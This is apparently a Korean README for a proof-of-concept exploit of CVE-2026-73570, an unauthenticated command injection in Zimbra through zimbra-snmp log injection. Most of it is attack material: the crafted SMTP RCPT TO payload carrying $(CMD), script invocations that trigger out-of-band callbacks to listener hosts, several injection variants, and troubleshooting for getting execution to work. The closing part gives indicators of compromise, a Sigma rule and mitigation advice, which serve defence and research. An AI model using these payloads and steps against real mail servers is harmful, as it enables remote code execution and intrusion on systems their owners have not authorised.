
CVE-2026-73570에 대한 개념 증명 익스플로잇으로, zimbra-snmp 로그 인젝션을 통한 Zimbra Collaboration Suite의 인증되지 않은 OS 명령 주입 취약점이며, 탐지 지침을 포함합니다.
CVE-2026-73570에 대한 개념 증명 익스플로잇으로, Zimbra Collaboration Suite < 10.1.20에서 zimbra-snmp 패키지가 설치되어 있고 SNMP 알림이 활성화된 경우 발생하는 인증되지 않은 OS 명령 주입(CWE-78, CVSS 8.9) 취약점입니다.
면책 조항: 이 PoC는 오직 승인된 보안 테스트, 방어 연구, 그리고 자신의 시스템 검증을 위한 것입니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대해서는 사용하지 마십시오.
Zimbra의 SNMP 알림 기능은 swatchdog를 사용하여 /var/log/zimbra.log에서 서비스 이벤트를 모니터링합니다. 로그 라인이 감시 패턴과 일치하면, 일치된 텍스트가 SNMP 알림을 전송하는 셸 명령에 정제 없이 삽입됩니다.
공격 체인:
1. 공격자가 조작된 RCPT TO 주소로 SMTP 세션을 전송합니다:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
로컬 파트는 RFC 5321 인용 문자열이므로 Postfix는 주소 구문
(공백, 콜론, $(...) 포함)을 허용합니다.
2. Postfix가 수신자를 거부(릴레이 거부 / 사용자 알 수 없음 / 발신자
제한)하고 전체 to=<...> 문자열을 따옴표를 제거한 채
/var/log/zimbra.log에 기록합니다:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog (zimbra-snmp)가 주기적으로 로그를 스캔하여
watchfor 패턴 "Service status change ... changed from ... to ..."와
일치하는지 확인합니다.
4. 일치된 텍스트가 SNMP 알림 셸 명령에 삽입됩니다
-> $(CMD)가 평가됨 -> `zimbra` 사용자로 명령 실행.
대상은 다음 모두를 충족해야 합니다:
zimbra-snmp 패키지 설치됨zmlocalconfig | grep -i snmp_notify)공격자 측: Python 3 (표준 라이브러리만 사용, 의존성 없음).
# 1. 대역 외 DNS 콜백(interactsh / Burp Collaborator)으로 RCE 확인:
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. 리스너로의 HTTP 콜백으로 RCE 확인:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. 호스트에 마커 파일 생성 (이후 서버에서 수동으로 확인):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. 핑거프린팅만 (페이로드 전송 안 함):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# 디버그: 전체 SMTP 트랜스크립트 출력
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
옵션:
| 플래그 | 설명 |
|---|---|
-t, --target | 대상 Zimbra SMTP IP/호스트명 (필수) |
-p, --port | SMTP 포트 (기본값: 25) |
--tls | STARTTLS 사용 (예: 포트 587) |
--oob | 대역 외 DNS 도메인 또는 HTTP 콜백 URL (권장) |
--cmd | OOB 콜백 대신 임의 명령 |
--fake-host | 가짜 Service status change 문자열 내의 호스트명 (기본값: localhost) |
--check-only | 핑거프린팅만, 페이로드 전송 안 함 |
--delay | 전송 간 지연 시간(초) (기본값: 1.0) |
--debug | 전체 SMTP 트랜스크립트 출력 |
스크립트는 각 명령을 여러 주입 변형($(...), 백틱, ;cmd;#, $({IFS}...))으로 전송합니다. 각 변형에 대해 RCPT 응답 코드를 확인하십시오:
| RCPT 응답 | 의미 |
|---|---|
250, 450, 454 Relay access denied, 550 5.1.1 User unknown | 주소 구문이 허용됨 — 전체 to=<...> 문자열이 포함된 거부 라인이 이제 로그에 기록됨. 페이로드가 심어짐. |
501 5.1.3 Bad recipient address syntax | Postfix가 파싱 시점에 주소를 거부함 — 유용한 내용이 기록되지 않음. 스크립트가 자동으로 인용되지 않은 대체 형식으로 재시도함. |
그런 다음 서버에서 확인하십시오 (접근 권한이 있는 경우):
# 주입된 라인이 존재해야 함:
grep 'Service status change' /var/log/zimbra.log | tail
# 예상: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# 1-5분 대기 (swatchdog는 주기적으로 로그를 스캔함 — 실행은 실시간이 아님),
# 그런 다음 효과를 확인:
ls -la /tmp/ # --cmd를 사용한 경우
# 또는 OOB 리스너에서 콜백 확인
로그 라인이 존재하지만 명령이 실행되지 않는다면, 나머지 전제 조건은 swatchdog 측에 있습니다: 프로세스가 실행 중인지(ps aux | grep swatch) 그리고 해당 구성이 실제로 Service status change 패턴을 감시하는지 확인하십시오.
실행 컨텍스트: 명령은 zimbra 사용자로 실행됩니다 (root가 아님).
fail2ban-client status, iptables -L -n | grep <your_ip>를 확인하고 tcpdump -i any port 25 and host <your_ip> -nn -A로 패킷이 Postfix에 도달하는지 확인하십시오.NOQUEUE: reject 라인이 아닌 warning: Illegal address syntax ... in RCPT command: ...로 기록됩니다. 대신 공격자 IP로 grep하십시오.성공적인 익스플로잇의 주요 지표:
/var/log/zimbra.log의 Postfix 거부 라인 내 to=<*: Service status change: *$(...)* — Service status change 텍스트는 to=<> 주소 내에 정당하게 나타나는 경우가 없으므로 오탐이 거의 없습니다.swatchdog / swatch의 자식 프로세스로 생성된 모든 셸 또는 명령 인터프리터 (sh, bash, curl, wget, nc, python, perl)./opt/zimbra/jetty/webapps/ 또는 /opt/zimbra/jetty_base/webapps/ 아래의 새로운 .jsp/.jspx 파일, /tmp/의 예상치 못한 파일, zimbra 사용자의 새로운 cron 항목 또는 SSH 키, 그리고 정상 메일 흐름과 일치하지 않는 메일 서버의 아웃바운드 연결.예시 Sigma 규칙 (시도 단계):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp 패키지를 중지/제거하는 것을 고려하십시오.